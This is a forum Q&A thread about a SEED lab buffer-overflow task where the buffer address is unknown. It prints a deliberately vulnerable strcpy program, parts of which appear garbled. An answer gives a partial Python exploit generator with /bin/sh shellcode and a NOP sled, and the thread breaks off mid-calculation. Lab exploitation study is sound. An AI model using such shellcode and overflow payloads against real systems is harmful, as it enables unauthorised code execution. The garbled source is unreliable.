# Doing buffer overflow attack without knowing buffer size and address

I was trying to solve SEED security lab regarding buffer overflow attack but in that exercise we get buffer address and ebp and thus offset of it. so we are able to guess where the return address is stored. I know that without getting ebp and calculating offset you can also do this attack by writing the return address every 4 bytes until the maximum possible range of buffer(Let's assume I know maximum size of the buffer and starting address of buffer). now my question is what if we just know the maximum size of buffer and not the starting address of the buffer? How can we do this attack? My vulnerable program is using strcpy() function. Link to exercise is below(task 4). Full exercise link from SEED labs

here is the source code of vulnerable program:

``````#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
*/
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

void dummy_function(char *str);

int bof(char *str)
{
char buffer[BUF_SIZE];

// The following statement has a buffer overflow problem
strcpy(buffer, str);

return 1;
}

int main(int argc, char **argv)
{
char str;

}

int length = fread(str, sizeof(char), 517, badfile);
printf("Input size: %d\n", length);
dummy_function(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}

// This function is used to insert a stack frame of size
// 1000 (approximately) between main's and bof's stack frames.
// The function itself does not do anything.
void dummy_function(char *str)
{
char dummy_buffer;
memset(dummy_buffer, 0, 1000);
bof(str);
}
``````
• Did you ever figure it out? Oct 7, 2021 at 3:28

The following python3 code will work for buffer overflow attack in given range.

``````#!/usr/bin/python3
import sys

shellcode= (
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

content = bytearray(0x90 for i in range(517))

##################################################################

start = 517 - len(shellcode)
content[start:start + len(shellcode)] = shellcode

ebp_offset = 100 # start of the range which is (100-200)
offset = ebp_offset + 4